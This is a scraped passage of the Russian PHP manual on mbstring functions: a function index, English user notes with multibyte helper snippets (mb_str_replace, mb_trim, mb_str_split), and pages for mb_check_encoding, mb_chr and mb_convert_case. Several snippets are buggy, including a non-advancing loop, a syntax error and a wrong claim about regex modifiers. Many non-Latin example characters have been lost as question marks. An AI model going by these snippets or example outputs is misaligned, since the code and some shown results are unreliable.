  • mb_convert_variables — Преобразует символы в переменной(-ых) из одной кодировки в другую
  • mb_decode_mimeheader — Декодирует строку в MIME-заголовке
  • mb_decode_numericentity — Декодирует ссылку на числовую строку HTML в символ
  • mb_detect_encoding — Определение кодировки символов
  • mb_detect_order — Установка/получение списка кодировок для механизмов определения кодировки
  • mb_encode_mimeheader — Кодирует строку для MIME-заголовка
  • mb_encode_numericentity — Кодирует символ в числовую HTML-ссылку
  • mb_encoding_aliases — Получает псевдонимы известного типа кодировки
  • mb_ereg_match — Совпадение с регулярным выражением для многобайтовой строки
  • mb_ereg_replace_callback — Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок используя callback-функцию
  • mb_ereg_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок
  • mb_ereg_search_getpos — Возвращает начальную позицию следующего совпадения с регулярным выражением
  • mb_ereg_search_getregs — Выводит результат последнего сравнения с регулярным выражением
  • mb_ereg_search_init — Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения
  • mb_ereg_search_pos — Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки
  • mb_ereg_search_regs — Возвращает совпавшую с регулярным выражением часть строки
  • mb_ereg_search_setpos — Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению
  • mb_ereg_search — Поиск соответствий регулярному выражению для строк в многобайтовых кодировках
  • mb_ereg — Совпадение с регулярным выражением с поддержкой многобайтовых кодировок
  • mb_eregi_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра
  • mb_eregi — Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра
  • mb_get_info — Получает внутренние настройки mbstring
  • mb_http_input — Определение кодировки символов входных данных HTTP-запроса
  • mb_http_output — Установка/получение кодировки символов вывода HTTP
  • mb_internal_encoding — Установка/получение внутренней кодировки скрипта
  • mb_language — Устанавливает/получает текущий язык
  • mb_list_encodings — Возвращает массив всех поддерживаемых кодировок
  • mb_ord — Получает кодовую точку символа Unicode
  • mb_output_handler — Callback-функция, преобразующая кодировку символов в выходном буфере
  • mb_parse_str — Разбор данных запросов GET/POST/COOKIE и установка значений глобальных переменных
  • mb_preferred_mime_name — Получение набора символов MIME
  • mb_regex_encoding — Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_regex_set_options — Установка/получение значений по умолчанию для настроек функций mbregex
  • mb_scrub — Заменяет неправильно сформированные последовательности байтов символом-заменителем
  • mb_send_mail — Отправка закодированного сообщения
  • mb_split — Разделение строк в многобайтных кодировках, используя регулярное выражение
  • mb_str_pad — Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины
  • mb_str_split — Если задана многобайтовая строка возвращает массив символов
  • mb_strcut — Получение части строки
  • mb_strimwidth — Получает строку, обрезанную до заданной ширины
  • mb_stripos — Регистронезависимый поиск позиции первого вхождения одной строки в другую
  • mb_stristr — Находит первое вхождение подстроки в строке без учёта регистра
  • mb_strlen — Получает длину строки
  • mb_strpos — Поиск позиции первого вхождения одной строки в другую
  • mb_strrchr — Поиск последнего вхождения одной строки в другую
  • mb_strrichr — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру
  • mb_strripos — Поиск последнего вхождения одной строки в другую, нечувствительный к регистру
  • mb_strrpos — Поиск позиции последнего вхождения одной строки в другую
  • mb_strstr — Находит первое вхождение подстроки в строке
  • mb_strtolower — Приведение строки к нижнему регистру
  • mb_strtoupper — Приведение строки к верхнему регистру
  • mb_strwidth — Возвращает ширину строки
  • mb_substitute_character — Установить/получить символ замены
  • mb_substr_count — Возвращает количество вхождений подстроки
  • mb_substr — Возвращает часть строки

User Contributed Notes

abidul dot rmdn at gmail dot com 18-Jun-2019 10:16
Having to migrate to MB functions can be a bit of pain if you have a big project. it took us a while at my company but then we made a small script and explained it in a small blog.
https://link.medium.com/25w1LronCX

which makes it really easy to migrate to mb_ functions.
Hayley Watson 23-Jun-2018 01:06
SOME multibyte encodings can safely be used in str_replace() and the like, others cannot. It's not enough to ensure that all the strings involved use the same encoding: obviously they have to, but it's not enough. It has to be the right sort of encoding.

UTF-8 is one of the safe ones, because it was designed to be unambiguous about where each encoded character begins and ends in the string of bytes that makes up the encoded text. Some encodings are not safe: the last bytes of one character in a text followed by the first bytes of the next character may together make a valid character. str_replace() knows nothing about "characters", "character encodings" or "encoded text". It only knows about the string of bytes. To str_replace(), two adjacent characters with two-byte encodings just looks like a sequence of four bytes and it's not going to know it shouldn't try to match the middle two bytes.

While real-world examples can be found of str_replace() mangling text, it can be illustrated by using the HTML-ENTITIES encoding. It's not one of the safe ones. All of the strings being passed to str_replace() are valid HTML-ENTITIES-encoded text so the "all inputs use the same encoding" rule is satisfied.

The text is "x<y". It is represented by the byte string [78 26 6c 74 3b 79]. Note that the text has three characters, but the string has six bytes.

<?php

$string = 'x&lt;y';
mb_internal_encoding('HTML-ENTITIES');

echo "Text length: ", mb_strlen($string), "\tString length: ", strlen($string), " ... ", $string, "\n";
// Three characters, six bytes; the text reads "x<y".

$newstring = str_replace('l', 'g', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Three characters, six bytes, but now the text reads "x>y"; the wrong characters have changed.

$newstring = str_replace(';', ':', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Now even the length of the text is wrong and the text is trashed.

?>

Even though neither 'l' nor ';' appear in the text "x<y", str_replace() still found and changed bytes. In one case, it changed the text to "x>y" and in the other it broke the encoding completely.

One more reason to use UTF-8 if you can, I guess.
v dot r dot sanaty at gmail dot com 29-Oct-2017 05:24
The multibyte version of substr_replace function:
(Inspired by roydukkey's note with some corrections)

function mb_substr_replace($string, $replacement, $start, $length){
    return mb_substr($string, 0, $start).$replacement.mb_substr($string, $start+$length);
}
rr_news at live dot de 14-Dec-2016 01:36
The suggestion from "mt at mediamedics dot nl" is not that bad like the down votes indicate. There is only one small bug which can be easily fixed to make it work.
The head of the "for" need to be modified by replacing $i + $split_length by $i += $split_length.

Here is the full working code, with additional check to verify that the method doesn't exists already:

<?php
if ( !function_exists('mb_str_split') )
{
    function mb_str_split($string, $split_length = 1)
    {
        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i += $split_length)
        {
            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;
    }
}
?>
php at kamiware dot org 05-Nov-2016 10:23
str_replace is NOT multi-bite safe.

This Ukrainian word gives a bug when used in the next code: відео

$rubishcharacters='[#|\[{}\]?`?,;.:-\\_<>=*+"\'?()!§$&%';
$searchstring='відео';

$result = str_replace(str_split($rubishcharacters), ' ', $searchstring);
treilor at gmail dot com 23-May-2014 08:43
A small note for those who will follow rawsrc at gmail dot com's advice: mb_split uses regular expressions, in which case it may make sense to use built-in function mb_ereg_replace.
mattr at telebody dot com 19-May-2014 07:29
A brief note on Daniel Rhodes' mb_punctuation_trim().
The regular expression modifier u does not mean ungreedy, rather it means the pattern is in UTF-8 encoding. Instead the U modifier should be used to get ungreedy behavior. (I have not otherwise tested his code.)
See http://php.net/manual/en/reference.pcre.pattern.modifiers.php
Anonymous 30-Oct-2013 11:16
Yet another single-line mb_trim() function

<?php
function mb_trim($string, $trim_chars = '\s'){
    return preg_replace('/^['.$trim_chars.']*(?U)(.*)['.$trim_chars.']*$/u', '\\1',$string);
}
$string = '           "some text."      ';
echo mb_trim($string, '\s".');
//some text
?>
Daniel Rhodes 17-Sep-2013 01:24
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 02:55
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 12:11
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
deceze at gmail dot com 04-Sep-2012 10:32
Please note that all the discussion about mb_str_replace in the comments is pretty pointless. str_replace works just fine with multibyte strings:

<?php

$string  = '????????';
$needle  = '?';
$replace = 'Foo';

echo str_replace($needle, $replace, $string);
// outputs: ??Foo?????

?>

The usual problem is that the string is evaluated as binary string, meaning PHP is not aware of encodings at all. Problems arise if you are getting a value "from outside" somewhere (database, POST request) and the encoding of the needle and the haystack is not the same. That typically means the source code is not saved in the same encoding as you are receiving "from outside". Therefore the binary representations don't match and nothing happens.
rawsrc at gmail dot com 09-Aug-2011 02:36
Hi,

For those who are looking for mb_str_replace, here's a simple function :
<?php
function mb_str_replace($needle, $replacement, $haystack) {
   return implode($replacement, mb_split($needle, $haystack));
}
?>
I haven't found a simpliest way to proceed :-)
efesar 28-Jan-2011 02:21
This small mb_trim function works for me.

<?php
function mb_trim( $string )
{
    $string = preg_replace( "/(^\s+)|(\s+$)/us", "", $string );

    return $string;
}
?>
johannesponader at dontspamme dot googlemail dot co 17-Oct-2010 09:46
Please note that when migrating code to handle UTF-8 encoding, not only the functions mentioned here are useful, but also the function htmlentities() has to be changed to htmlentities($var, ENT_COMPAT, "UTF-8") or similar. I didn't scan the manual for it, but there could be some more functions that need adjustments like this.
mt at mediamedics dot nl 17-Dec-2009 05:52
A multibyte one-to-one alternative for the str_split function (http://php.net/manual/en/function.str-split.php):

<?php
    function mb_str_split($string, $split_length = 1){

        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i + $split_length){

            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;

    }
?>
peter AT(no spam) dezzignz dot com 29-Oct-2009 04:26
The function trim() has not failed me so far in my multibyte applications, but in case one needs a truly multibyte function, here it is. The nice thing is that the character to remove can be whitespace or any other specified character, even a multibyte character.

<?php

// multibyte string split

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
        }
    return $array;
    }

// removes $rem at both ends

function mb_trim ($str, $rem = ' ') {
    if (empty($str)) return false;
    // convert to array
    $arr = mbStringToArray($str);
    $len = count($arr);
    // left side
    for ($i = 0; $i < $len; $i++) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // right side
    for ($i = $len-1; $i >= 0; $i--) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // convert to string
    return implode ('', $arr);
    }

?>
roydukkey at roydukkey dot com 22-Oct-2009 09:31
This would be one way to create a multibyte substr_replace function

<?php
function mb_substr_replace($output, $replace, $posOpen, $posClose) {
        return mb_substr($output, 0, $posOpen).$replace.mb_substr($output, $posClose+1);
    }
?>
sakai at d4k dot net 26-Jun-2009 05:46
I hope this mb_str_replace will work for arrays.  Please use mb_internal_encoding() beforehand, if you need to change the encoding.

Thanks to marc at ermshaus dot org for the original.

<?php

if(!function_exists('mb_str_replace')) {

    function mb_str_replace($search, $replace, $subject) {

        if(is_array($subject)) {
            $ret = array();
            foreach($subject as $key => $val) {
                $ret[$key] = mb_str_replace($search, $replace, $val);
            }
            return $ret;
        }

        foreach((array) $search as $key => $s) {
            if($s == '') {
                continue;
            }
            $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : '');
            $pos = mb_strpos($subject, $s);
            while($pos !== false) {
                $subject = mb_substr($subject, 0, $pos) . $r . mb_substr($subject, $pos + mb_strlen($s));
                $pos = mb_strpos($subject, $s, $pos + mb_strlen($r));
            }
        }

        return $subject;

    }

}

?>
mitgath at gmail dot com 30-Apr-2009 06:26
according to:
http://bugs.php.net/bug.php?id=21317
here's missing function

<?php
function mb_str_pad ($input, $pad_length, $pad_string, $pad_style, $encoding="UTF-8") {
   return str_pad($input,
strlen($input)-mb_strlen($input,$encoding)+$pad_length, $pad_string, $pad_style);
}
?>
Ben XO 16-Nov-2008 05:14
PHP5 has no mb_trim(), so here's one I made. It work just as trim(), but with the added bonus of PCRE character classes (including, of course, all the useful Unicode ones such as \pZ).

Unlike other approaches that I've seen to this problem, I wanted to emulate the full functionality of trim() - in particular, the ability to customise the character list.

<?php
    /**
     * Trim characters from either (or both) ends of a string in a way that is
     * multibyte-friendly.
     *
     * Mostly, this behaves exactly like trim() would: for example supplying 'abc' as
     * the charlist will trim all 'a', 'b' and 'c' chars from the string, with, of
     * course, the added bonus that you can put unicode characters in the charlist.
     *
     * We are using a PCRE character-class to do the trimming in a unicode-aware
     * way, so we must escape ^, \, - and ] which have special meanings here.
     * As you would expect, a single \ in the charlist is interpretted as
     * "trim backslashes" (and duly escaped into a double-\ ). Under most circumstances
     * you can ignore this detail.
     *
     * As a bonus, however, we also allow PCRE special character-classes (such as '\s')
     * because they can be extremely useful when dealing with UCS. '\pZ', for example,
     * matches every 'separator' character defined in Unicode, including non-breaking
     * and zero-width spaces.
     *
     * It doesn't make sense to have two or more of the same character in a character
     * class, therefore we interpret a double \ in the character list to mean a
     * single \ in the regex, allowing you to safely mix normal characters with PCRE
     * special classes.
     *
     * *Be careful* when using this bonus feature, as PHP also interprets backslashes
     * as escape characters before they are even seen by the regex. Therefore, to
     * specify '\\s' in the regex (which will be converted to the special character
     * class '\s' for trimming), you will usually have to put *4* backslashes in the
     * PHP code - as you can see from the default value of $charlist.
     *
     * @param string
     * @param charlist list of characters to remove from the ends of this string.
     * @param boolean trim the left?
     * @param boolean trim the right?
     * @return String
     */
    function mb_trim($string, $charlist='\\\\s', $ltrim=true, $rtrim=true)
    {
        $both_ends = $ltrim && $rtrim;

        $char_class_inner = preg_replace(
            array( '/[\^\-\]\\\]/S', '/\\\{4}/S' ),
            array( '\\\\\\0', '\\' ),
            $charlist
        );

        $work_horse = '[' . $char_class_inner . ']+';
        $ltrim && $left_pattern = '^' . $work_horse;
        $rtrim && $right_pattern = $work_horse . '$';

        if($both_ends)
        {
            $pattern_middle = $left_pattern . '|' . $right_pattern;
        }
        elseif($ltrim)
        {
            $pattern_middle = $left_pattern;
        }
        else
        {
            $pattern_middle = $right_pattern;
        }

        return preg_replace("/$pattern_middle/usSD", '', $string) );
    }
?>
marc at ermshaus dot org 03-Oct-2008 03:05
A small correction to patrick at hexane dot org's mb_str_replace function. The original function does not work as intended in case $replacement contains $needle.

<?php
function mb_str_replace($needle, $replacement, $haystack)
{
    $needle_len = mb_strlen($needle);
    $replacement_len = mb_strlen($replacement);
    $pos = mb_strpos($haystack, $needle);
    while ($pos !== false)
    {
        $haystack = mb_substr($haystack, 0, $pos) . $replacement
                . mb_substr($haystack, $pos + $needle_len);
        $pos = mb_strpos($haystack, $needle, $pos + $replacement_len);
    }
    return $haystack;
}
?>
patrick at hexane dot org 27-Jun-2008 08:18
I wonder why there isn't a mb_str_replace().  Here's one for now:

function mb_str_replace( $needle, $replacement, $haystack ) {
  $needle_len = mb_strlen($needle);
  $pos = mb_strpos( $haystack, $needle);
  while (!($pos ===false)) {
    $front = mb_substr( $haystack, 0, $pos );
    $back  = mb_substr( $haystack, $pos + $needle_len);
    $haystack = $front.$replacement.$back;
    $pos = mb_strpos( $haystack, $needle);
  }
  return $haystack;
}
chris at maedata dot com 24-Apr-2007 09:50
The opposite of what Eugene Murai wrote in a previous comment is true when importing/uploading a file. For instance, if you export an Excel spreadsheet using the Save As Unicode Text option, you can use the following to convert it to UTF-8 after uploading:

//Convert file to UTF-8 in case Windows mucked it up
$file = explode( "\n", mb_convert_encoding( trim( file_get_contents( $_FILES['file']['tmp_name'] ) ), 'UTF-8', 'UTF-16' ) );
mdoocy at u dot washington dot edu 14-Mar-2007 10:30
Note that some of the multi-byte functions run in O(n) time, rather than constant time as is the case for their single-byte equivalents. This includes any functionality requiring access at a specific index, since random access is not possible in a string whose number of bytes will not necessarily match the number of characters. Affected functions include: mb_substr(), mb_strstr(), mb_strcut(), mb_strpos(), etc.
motin at demomusic dot nu 19-Jan-2007 05:12
As peter dot albertsson at spray dot se already pointed out, overloading strlen may break code that handles binary data and relies upon strlen for bytelengths.

The problem occurs when a file is filled with a string using fwrite in the following manner:

$len = strlen($data);
fwrite($fp, $data, $len);

fwrite takes amount of bytes as the third parameter, but mb_strlen returns the amount of characters in the string. Since multibyte characters are possibly more than one byte in length each - this will result in that the last characters of $data never gets written to the file.

After hours of investigating why PEAR::Cache_Lite didn't work - the above is what I found.

I made an attempt at using single byte functions, but it doesn't work. Posting here anyway in case it helps someone else:

/**
* PHP Singe byte functions simulation (non successful)
*
* Usage: sb_string(functionname, arg1, arg2, etc);
* Example: sb_string("strlen", "tuoea"); returns 8 (should...)
*/
function sb_string() {

  $arguments = func_get_args();

  $func_overloading = ini_get("mbstring.func_overload");

  ini_set("mbstring.func_overload", 0);

  $ret = call_user_func_array(array_shift($arguments), $arguments);

  ini_set("mbstring.func_overload", $func_overloading);

  return $ret;

}
pdezwart .at. snocap 10-Oct-2006 11:28
If you are trying to emulate the UnicodeEncoding.Unicode.GetBytes() function in .NET, the encoding you want to use is: UCS-2LE
hayk at mail dot ru 17-Aug-2006 12:36
Since PHP 5.1.0 and PHP 4.4.2 there is an Armenian ArmSCII-8 (ArmSCII-8, ArmSCII8, ARMSCII-8, ARMSCII8) encoding avaliable.
daniel at softel dot jp 24-Jul-2006 04:41
Note that although "multi-byte" hints at total internationalization, the mb_ API was designed by a Japanese person to support the Japanese language.

Some of the functions, for example mb_convert_kana(), make absolutely no sense outside of a Japanese language environment.

It should perhaps be considered "lucky" if the functions work with non-Japanese multi-byte languages.

I don't mean any disrespect to the mb_ API because I'm using it everyday and I appreciate its usefulness, but maybe a better name would be the jp_ API.
Aardvark 13-Mar-2006 11:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl 09-Mar-2006 08:34
UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
14-Aug-2005 07:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
    return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se 21-May-2005 03:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
nzkiwi at NOSPAMmte dot biglobe dot ne dot jp 13-Apr-2005 04:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai 23-Feb-2005 10:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');


Проверяет, что кодировка строк выбрана верно

  • « Функции для работы с многобайтовыми строками
  • mb_chr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Проверяет, что кодировка строк выбрана верно

mb_check_encoding

(PHP 4 >= 4.4.3, PHP 5 >= 5.1.3, PHP 7, PHP 8)

mb_check_encoding — Проверяет, что кодировка строк выбрана верно

Описание

mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool

Проверяет, что для потока данных подходит выбранная кодировка. Если value является массивом (array), все ключи и значения проверяются рекурсивно. Функция может быть полезной для предотвращения так называемой "Атаки неправильной кодировкой".

Список параметров

value

Поток данных или массив (array) для проверки. Если не задан, функция проверит все входные данные с начала запроса.

Внимание

Начиная с PHP 8.1.0, опускание этого параметра или передача null устарело.

encoding

Ожидаемая кодировка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Вызов функции с null в качестве параметра value или без аргумента устарело.
8.0.0 | Параметры value и encoding могут принимать значение null.
7.2.0 | Функция теперь также принимает массив (array) в value. Ранее поддерживались только строки (string).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает символ по значению кодовой точки Unicode

  • « mb_check_encoding
  • mb_convert_case »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает символ по значению кодовой точки Unicode

mb_chr

(PHP 7 >= 7.2.0, PHP 8)

mb_chr — Возвращает символ по значению кодовой точки Unicode

Описание

mb_chr(int $codepoint, ?string $encoding = null): string|false

Возвращает строку, содержащую символ, указанный значением кодовой точки Unicode, закодированный в указанной кодировке.

Функция дополняет mb_ord().

Список параметров

codepoint

Значение кодовой точки Unicode, например 128024 для U+1F418 ELEPHANT

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Строка, содержащая запрошенный символ, если она может быть представлена в указанной кодировке, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
$values = [65, 63, 0x20AC, 128024];
foreach ($values as $value) {
var_dump(mb_chr($value, 'UTF-8'));
var_dump(mb_chr($value, 'ISO-8859-1'));
}
?>

Результат выполнения данного примера:

string(1) "A"
string(1) "A"
string(1) "?"
string(1) "?"
string(3) "€"
bool(false)
string(4) "??"
bool(false)

Смотрите также

  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта
  • mb_ord() - Получает кодовую точку символа Unicode
  • IntlChar::ord() - Получить код символ Unicode
  • chr() - Генерирует односимвольную строку по заданному числу

User Contributed Notes

There are no user contributed notes for this page.


Производит смену регистра символов в строке

  • « mb_chr
  • mb_convert_encoding »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Производит смену регистра символов в строке

mb_convert_case

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_convert_case — Производит смену регистра символов в строке

Описание

mb_convert_case(string $string, int $mode, ?string $encoding = null): string

Производит смену регистра символов в строке (string) в соответствии с режимом mode.

Список параметров

string

Строка (string) для преобразования.

mode

Режим смены регистра. Это может быть одна из констант MB_CASE_UPPER, MB_CASE_LOWER, MB_CASE_TITLE, MB_CASE_FOLD, MB_CASE_UPPER_SIMPLE, MB_CASE_LOWER_SIMPLE, MB_CASE_TITLE_SIMPLE или MB_CASE_FOLD_SIMPLE.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Строка string, преобразованная в соответствии с режимом mode.

Список изменений

Версия | Описание
7.3.0 | Добавлена поддержка MB_CASE_FOLD, MB_CASE_UPPER_SIMPLE, MB_CASE_LOWER_SIMPLE, MB_CASE_TITLE_SIMPLE и MB_CASE_FOLD_SIMPLE в параметре mode.

Примеры

Пример #1 Пример использования mb_convert_case()

<?php
$str = "у мэри был маленький ягнёнок и она его очень любила";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Выведет У МЭРИ БЫЛ МАЛЕНЬКИЙ ЯГНЕНОК И ОНА ЕГО ОЧЕНЬ ЛЮБИЛА
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Выведет У Мэри Был Маленький Ягнёнок И Она Его Очень Любила
?>

Пример #2 Пример использования mb_convert_case() с нелатинским UTF-8 текстом

<?php
$str = "??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Выведет ??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Выведет ??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????
?>

Примечания

В отличие от стандартных функций смены регистра, вроде strtolower() и strtoupper(), смена регистра осуществляется на основе свойств символа Юникода. Таким образом, на поведение функции не влияют региональные настройки системы, и она может конвертировать любые символы, имеющие 'алфавитное' свойство, как например а-умляут (a).

Дополнительную информацию о свойствах Юникода смотрите по ссылке» http://www.unicode.org/reports/tr21/.

Смотрите также

  • mb_strtolower() - Приведение строки к нижнему регистру
  • mb_strtoupper() - Приведение строки к верхнему регистру
  • strtolower() - Преобразует строку в нижний регистр
  • strtoupper() - Преобразует строку в верхний регистр
  • ucfirst() - Преобразует первый символ строки в верхний регистр
  • ucwords() - Преобразует в верхний регистр первый символ каждого слова в строке

User Contributed Notes

Anonymous 05-Dec-2021 11:04
$str = "??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
this convertation does not give the example that you already post
but this one

$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
"??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????"
alNzy 05-Mar-2020 08:29
You can use this function to fix problems related to Turkish "?", "I", "i", "I" characters. This function also replaces the weird "i?" character with regular "i" character ("i? => i").

function mb_convert_case_tr($str, $type, $encoding = "UTF-8")
{

  switch ($type) {
    case "u":
    case "upper":
    case MB_CASE_UPPER:
      $type = MB_CASE_UPPER;
      break;
    case "l":
    case "lower":
    case MB_CASE_LOWER:
      $type = MB_CASE_LOWER;
      break;
    case "t":
    case "title":
    case MB_CASE_TITLE:
      $type = MB_CASE_TITLE;
      break;
  }

  $str = str_replace("i", "I", $str);
  $str = str_replace("I", "?", $str);

  $str = mb_convert_case($str, $type, $encoding);
  $str = str_replace("i?", "i", $str);

  return $str;
}
tavhane at gmail dot com 24-Mar-2018 08:46
for turkish simple:

$str = mb_convert_case(str_replace(['i','I'], ['I','?'], $str), MB_CASE_TITLE,"UTF-8");
webenformasyon at gmail dot com 18-Mar-2018 09:32
for turkish language I => i  and i => I conversion is a problem. It must be I => ? and i => I so my simple solution is

    public function title_case_turkish($str){

        $str = str_replace("i", "I", $str);
        $str = str_replace("I", "?", $str);

        $str = mb_convert_case($str, MB_CASE_TITLE,"UTF-8");

        return $str;

    }
dave at wp dot pl 20-Jul-2016 12:51
MB_CASE_TITLE doesn't change letters in quotation marks.

Example:
mb_convert_case('AAA "aaa"', MB_CASE_TITLE);
// Result: Aaa "aaa"
cataphract at php dot net 26-Jul-2010 11:06
This is a variation of mb_convert_case that works only for UTF-8 strings and that will not convert to lowercase anything.

This avoids turning "AAA aaa" into "Aaa Aaa"; it maps "AAA aaa" into ""AAA Aaa" instead.

<?php
function mb_convert_case_utf8_variation($s) {
    $arr = preg_split("//u", $s, -1, PREG_SPLIT_NO_EMPTY);
    $result = "";
    $mode = false;
    foreach ($arr as $char) {
        $res = preg_match(
